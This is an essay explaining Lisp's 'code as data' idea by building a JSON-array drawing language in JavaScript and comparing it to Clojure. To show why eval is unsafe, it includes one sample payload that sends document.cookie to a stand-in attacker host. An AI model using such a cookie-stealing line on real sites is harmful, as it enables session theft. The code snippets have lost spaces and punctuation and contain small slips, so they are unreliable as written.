11/02/2023

Every lisp hacker I ever met, myself included, thought that all those brackets in Lisp were off-putting and weird. At first, of course. Soon after we all came to the same epiphany: lisp’s power lie…

Every lisp hacker I ever met, myself included, thought that all those brackets in Lisp were off-putting and weird. At first, of course. Soon after we all came to the same epiphany: lisps power lies in those brackets! In this essay, well go on a journey to that epiphany.
Say we were creating a program that let you draw stuff. If we wrote this in JavaScript, we might have functions like this:
drawPoint({x: 0, y: 1}, ‘yellow’)drawLine({x: 0, y: 0}, {x: 1, y: 1}, ‘blue’)drawCircle(point, radius, ‘red’)rotate(shape, 90)…
So far, so cool.
Now, heres a challenge: Can we support remote drawing?
This means that a user would be able to send instructions to your screen, and you would see their drawing come to life.
How could we do it?
Well, say we set up a websocket connection. We could receive instructions from the user like this:
websocket.onMessage(data=> { /* TODO */})
To make it work off the bat, one option could be to take code strings as input:
websocket.onMessage(data=> {eval(data)})
Now the user could send “drawLine({x: 0, y: 0}, {x: 1, y: 1}, ‘red’)” and bam: well draw a line!
Butyour spidey sense may already be tingling. What if the user was malicious and managed to send us an instruction like this:
“window.location=’http://iwillp3wn.com?user_info=’ + document.cookie”
Uh ohour cookie would get sent to iwillp3wn.com, and the malicious user would indeed pwn us. We cant use eval; its too dangerous.
There lies our problem: we cant use eval, but we need some way to receive arbitrary instructions.
Well, we could represent those instructions as JSON. We can map each JSON instruction to a special function, and that way we can control what runs. Heres one way we can represent it:
{ instructions: [ { functionName: “drawLine”, args: [{ x: 0, y: 0 }, { x: 1, y: 1 }, “blue”] }, ];}
This JSON would translate to drawLine({x: 0, y: 0}, {x: 1, y: 1},”blue”)
We could support this pretty simply. Heres how our onMessage could look:
webSocket.onMessage(instruction=> { constfns= { drawLine: drawLine,… };data.instructions.forEach((ins) =>fns[ins.functionName](…ins.args));})
That seems like it would work!
Lets see if we can clean this up. Heres our JSON:
{ instructions: [ { functionName: “drawLine”, args: [{ x: 0, y: 0 }, { x: 1, y: 1 }, “blue”] }, ];}
Well, since every instruction has a functionName, and an args, we dont really need to spell that out. We could write it like this:
{ instructions: [[“drawLine”, { x: 0, y: 0 }, { x: 1, y: 1 }, “blue”]],}
Nice! We changed our object in favor of an array. To handle that, all we need is a rule: thefirstpart of our instruction is the function name, and the rest are arguments. If we wrote that down, heres how our onMessage would look:
websocket.onMessage(data=> { constfns= { drawLine: drawLine,… };data.instructions.forEach(([fnName, …args]) =>fns[fnName](…args));})
And bam, drawLine would work again!
So far, we only used drawLine:
drawLine({x: 0, y: 0}, {x: 1, y: 1}, ‘blue’)// same as[“drawLine”, { x: 0, y: 0 }, { x: 1, y: 1 }]
But what if we wanted to express something more powerful:
rotate(drawLine({x: 0, y: 0}, {x: 1, y: 1}, ‘blue’), 90)
Looking at that, we can translate it to an instruction like this:
[“rotate”, [“drawLine”, { x: 0, y: 0 }, { x: 1, y: 1 }], 90]
Here, the rotate instruction has an argument that is in itself an instruction! Pretty powerful. Surprisingly, we just need to tweak our code a tiny bit to make it work:
websocket.onMessage(data=> { constfns= { drawLine: drawLine,… };constparseInstruction= (ins) => {if (!Array.isArray(ins)) {// this must be a primitive argument, like {x: 0 y: 0}returnins; }const [fName, …args] =ins;fns[fName](…args); };data.instructions.forEach(parseInstruction);})
Nice, We introduce a parseInstruction function. We can apply parseInstruction recursively to arguments, and support stuff like:
[“rotate”, [“rotate”, [“drawLine”, { x: 0, y: 0 }, { x: 1, y: 1 }], 90]]]
Very cool!
Okay, lets look at our JSON again:
{ instructions: [[“drawLine”, { x: 0, y: 0 }, { x: 1, y: 1 }]],}
Well, our data only contains instructions. Do we really need a key called instructions?
What if we did this:
[“do”, [“drawLine”, { x: 0, y: 0 }, { x: 1, y: 1 }]]
Instead of a top-level key, we could have a special instruction called do, which runs all the instructions its given.
Heres one way we can implement it:
websocket.onMessage(data=> { constfns= {…do: (…args) =>args[args.length -1], };constparseInstruction= (ins) => {if (!Array.isArray(ins)) {// this must be a primitive argument, like {x: 0, y: 0}returnins; }const [fName, …args] =ins;returnfns[fName](…args.map(parseInstruction)); };parseInstruction(instruction);})
Oh wow, that was easy. We just added do in fns. Now we can support an instruction like this:
[“do”, [“drawPoint”, { x: 0, y: 0 }], [“rotate”, [“drawLine”, { x: 0, y: 0 }, { x: 1, y: 1 }], 90]],];
Lets make it more interesting. What if we wanted to support definitions?
constshape=drawLine({x: 0, y: 0}, {x: 1, y: 1}, ‘red’)rotate(shape, 90)
If we could support definitions, our remote user could write some very expressive instructions! Lets convert our code to the kind of data structure weve been playing with:
[“def”, “shape”, [“drawLine”, { x: 0, y: 0 }, { x: 1, y: 1 }]][“rotate”, “shape”, 90]
Noot bad! If we can support an instruction like that, wed be golden! Heres how:
websocket.onMessage(data=> { constvariables= {};constfns= {…def: (name, v) => {defs[name] =v; }, };constparseInstruction= (ins) => {if (variables[ins]) {// this must be some kind of variable, like “shape”returnvariables[ins]; }if (!Array.isArray(ins)) {// this must be a primitive argument, like {x: 0 y: 0}returnins; }const [fName, …args] =ins;returnfns[fName](…args.map(parseInstruction)); };parseInstruction(instruction);})
Here, we introduced a variables object, which keeps track of every variable we define. A special def function updates that variables object. Now we can run this instruction:
[“do”, [“def”, “shape”, [“drawLine”, { x: 0, y: 0 }, { x: 1, y: 1 }]], [“rotate”, “shape”, 90],];
Not bad!
Lets step it up a notch. What if we let our remote user define their own functions?
Say they wanted to write something like this:
constdrawTriangle=function(left, top, right, color) { drawLine(left, top, color);drawLine(top, right, color); drawLine(left, right, color); } drawTriangle(…)
How would we do it? Lets follow our intuition again. If we transcribe this to our data representation, heres how it could look:
[“def”, “drawTriangle”, [“fn”, [“left”, “top”, “right”, “color”], [“do”, [“drawLine”, “left”, “top”, “color”], [“drawLine”, “top”, “right”, “color”], [“drawLine”, “left”, “right”, “color”], ], ],],[“drawTriangle”, { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, “blue”],
Here,
constdrawTriangle=…
translates to
[“def”, “drawTriangle”, ].
And
function(left, top, right, color) {}
translates to
[“fn”, [“left”, “top”, “right”, “color”], [“do”…]]
All we need to do is to parse this instruction somehow, and bam, we are good to go!
The key to making this work is our [“fn”, ] instruction. What if we did this:
constparseFnInstruction= (args, body, oldVariables) => {return (…values) => {constnewVariables= {…oldVariables,…mapArgsWithValues(args, values), };returnparseInstruction(body, newVariables); };};
When we find a fn instruction, we run parseFnInstruction. This produces a new javascript function. We would replace drawTriangle here with that function:
[“drawTriangle”, { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, “blue”]
So when that function is run, values would become:
[{ x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, “blue”]
After that,
constnewVariables= {…oldVariables, …mapArgsWithValues(args, values)}
Would create a new variables object, that includes a mapping of the function arguments to these newly provided values:
constnewVariables= {…oldVariables, left: { x: 0, y: 0 }, top: { x: 3, y: 3 }, right: {x: 6, y: 0 }, color: “blue”, }
Then, we can take the function body, in this case:
[“do”, [“drawLine”, “left”, “top”, “color”], [“drawLine”, “top”, “right”, “color”], [“drawLine”, “left”, “right”, “color”], ],
And run it through parseInstruction, with our newVariables. With that “left” would be looked up as a variable and map to {x: 0, y: 0}.
If we did that, voila, the major work to support functions would be done!
Lets follow through on our plan. The first thing we need to do, is to have parseInstruction accept variables as an argument:
constparseInstruction= (ins, variables) => {…returnfn(…args.map((arg) =>parseInstruction(arg, variables))); };parseInstruction(instruction, variables);
Next, well want to add a special check to detect if we have a fn instruction:
constparseInstruction= (ins, variables) => {…const [fName, …args] =ins;if (fName==”fn”) {returnparseFnInstruction(…args, variables); }…returnfn(…args.map((arg) =>parseInstruction(arg, variables))); };parseInstruction(instruction, variables);
Now, our parseFnInstruction:
constmapArgsWithValues= (args, values) => { returnargs.reduce((res, k, idx) => {res[k] =values[idx];returnres; }, {});}constparseFnInstruction= (args, body, oldVariables) => {return (…values) => {constnewVariables= {…oldVariables, …mapArgsWithValues(args, values)}returnparseInstruction(body, newVariables); };};
It works exactly like we said. We return a new function. When its run, it:

  1. Creates a newVariables object, that associates the args with values
  2. runs parseInstruction with the body and the new variables object

Okay, almost done. The final bit to make it all work:
constparseInstruction= (ins, variables) => {…const [fName, …args] =ins;if (fName==”fn”) {returnmakeFn(…args, variables); }constfn=fns[fName] ||variables[fName];returnfn(…args.map((arg) =>parseInstruction(arg, variables)));
The secret is this:
constfn=fns[fName] ||variables[fName];
Here, since fn can now come from both fns and variables, we check both. Put it all together, and it works!
websocket.onMessage(data=> { constvariables= {};constfns= { drawLine: drawLine, drawPoint: drawPoint, rotate: rotate,do: (…args) =>args[args.length -1],def: (name, v) => {variables[name] =v; }, };constmapArgsWithValues= (args, values) => {returnargs.reduce((res, k, idx) => {res[k] =values[idx];returnres; }, {}); };constparseFnInstruction= (args, body, oldVariables) => {return (…values) => {constnewVariables= {…oldVariables,…mapArgsWithValues(args, values), };returnparseInstruction(body, newVariables); }; };constparseInstruction= (ins, variables) => {if (variables[ins]) {// this must be some kind of variablereturnvariables[ins]; }if (!Array.isArray(ins)) {// this must be a primitive argument, like {x: 0 y: 0}returnins; }const [fName, …args] =ins;if (fName==”fn”) {returnparseFnInstruction(…args, variables); }constfn=fns[fName] ||variables[fName];returnfn(…args.map((arg) =>parseInstruction(arg, variables))); };parseInstruction(instruction, variables);})
Holy jeez, with just this code, we can parse this:
[“do”, [“def”,”drawTriangle”, [“fn”, [“left”, “top”, “right”, “color”], [“do”, [“drawLine”, “left”, “top”, “color”], [“drawLine”, “top”, “right”, “color”], [“drawLine”, “left”, “right”, “color”], ], ], ], [“drawTriangle”, { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, “blue”], [“drawTriangle”, { x: 6, y: 6 }, { x: 10, y: 10 }, { x: 6, y: 16 }, “purple”],])
We can compose functions, we can define variables, and we can even create our own functions. If we think about it, we just created a programming language! 1.
Heres an example of our triangle
And heres a happy person!
We may even notice something interesting. Our new array languages has advantages to JavaScript itself!
In JavaScript, you define variables by writing const x = foo. Say you wanted to rewrite const to be just c. You couldnt do this, because const x = foo is special syntax in JavaScript. Youre not allowed to change that around.
In our array language though, theres no syntax at all! Everything is just arrays. We could easily write some special c instruction that works just like def.
If we think about it, its as though in Javascript we are guests, and we need to follow the language designers rules. But in our array language, we are co-owners. There is no big difference between the built-in stuff (def, fn) the language designer wrote, and the stuff we write! (drawTriangle).
Theres another, much more resounding win. If our code is just a bunch of arrays, we can do stuff to the code. We could write code that generates code!
For example, say we wanted to support unless in Javascript.
Whenever someone writes
unlessfoo { …}
We can rewrite it to
if!foo { …}
This would be difficult to do. Wed need something like Babel to parse our file, and work on top of the AST to make sure we rewrite our code safely to
if!foo { …}
But in our array language, our code is just arrays! Its easy to rewrite unless:
functionrewriteUnless(unlessCode) {const [_unlessInstructionName, testCondition, consequent] =unlessCode; return [“if”, [“not”, testCondition], consequent]}
rewriteUnless([“unless”, [“=”, 1, 1], [“drawLine”]])// => [“if”, [“not”, [“=”, 1, 1]], [“drawLine”]];
Oh my god. Easy peasy.
Having your code represented as data doesnt just allow you to manipulate your code with ease. It also allows your editor to do it too. For example, say you are editing this code:
[“if”, testCondition, consequent]
You want to change testCondition to [“not”, testCondition]
You could bring your cursor over to testCondition
[“if”, |testCondition, consequent]
Then create an array
[“if”, [|] testCondition, consequent]
Now you can type not
[“if”, [“not”, |] testCondition, consequent]
If youre editor understood these arrays, you can tell it: expand this area to the right:
[“if”, [“not”, testCondition], consequent]
Boom. Your editor helped your change the structure of your code.
If you wanted to undo this, You can put your cursor beside testCondition,
[“if”, [“not”, |testCondition], consequent]
and ask the editor to raise this up one level:
[“if”, testCondition, consequent]
All of a sudden, instead of editing characters, you are editing the structure of your code. This is called structural editing 2. It can help you move with the speed of a sculptor, and is one of the many wins youll get when your code is data.
Well, this array language you happened to have discoveredis a poorly implemented dialect of Lisp!
Heres our most complicated example:
[“do”, [“def”,”drawTriangle”, [“fn”, [“left”, “top”, “right”, “color”], [“do”, [“drawLine”, “left”, “top”, “color”], [“drawLine”, “top”, “right”, “color”], [“drawLine”, “left”, “right”, “color”], ], ], ], [“drawTriangle”, { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, “blue”], [“drawTriangle”, { x: 6, y: 6 }, { x: 10, y: 10 }, { x: 6, y: 16 }, “purple”],])
And heres how that looks in Clojure, a dialect of lisp:
(do (def draw-triangle (fn [left top right color] (draw-line left top color) (draw-line top right color) (draw-line left right color))) (draw-triangle {:x0:y0} {:x3:y3} {:x6:y0} “blue”) (draw-triangle {:x6:y6} {:x10:y10} {:x6:y16} “purple”))
The changes are cosmetic:

  • () now represent lists
  • We removed all the commas
  • camelCase became kebab-case
  • Instead of using strings everywhere, we added one more data type: a symbol
    • A symbol is used to look stuff up: i.e “drawTriangle” became drawTriangle

The rest of the rules are the same:
(draw-line left top color)
means

  • Evaluate left, top, color, and replace them with their values
  • Run the function draw-line with those values

Now, if we agree that the ability to manipulate source code is important to us, what kind of languages are most conducive for supporting it?
One way we can solve that question is to rephrase it: how could we make manipulating code as intuitive as manipulating data within our code? The answer sprouts out: Make the code data! What an exciting conclusion. If we care about manipulating source code, we glide into the answer: the code must be data 3.
If the code must be data, what kind of data representation could we use? XML could work, JSON could work, and the list goes on. But, what would happen if we tried to find the simplest data structure? If we keep simplifying, we glide into to the simplest nested structure of alllists!
This is both illuminating and exciting.
Its illuminating, in the sense that it seems like Lisp is discovered. Its like the solution to an optimization problem: if you care about manipulating code, you gravitate towards discovering Lisp. Theres something awe-inspiring about using a tool thats discovered: who knows, alien life-forms could use Lisp!
Its exciting, in that, there may be a better syntax. We dont know. Ruby and Python in my opinion where experiments, trying to bring lisp-like power without the brackets. I dont think the question is a solved one yet. Maybe you can think about it
You can imagine how expressive you can be if you can rewrite the code your language is written in. Youd truly be on the same footing as the language designer, and the abstractions you could write at that level, can add up to save you years of work.
All of a sudden, those brackets look kind of cool!
Thanks to Daniel Woelfel, Alex Kotliarskyi, Sean Grove, Joe Averbukh, Irakli Safareli, for reviewing drafts of this essay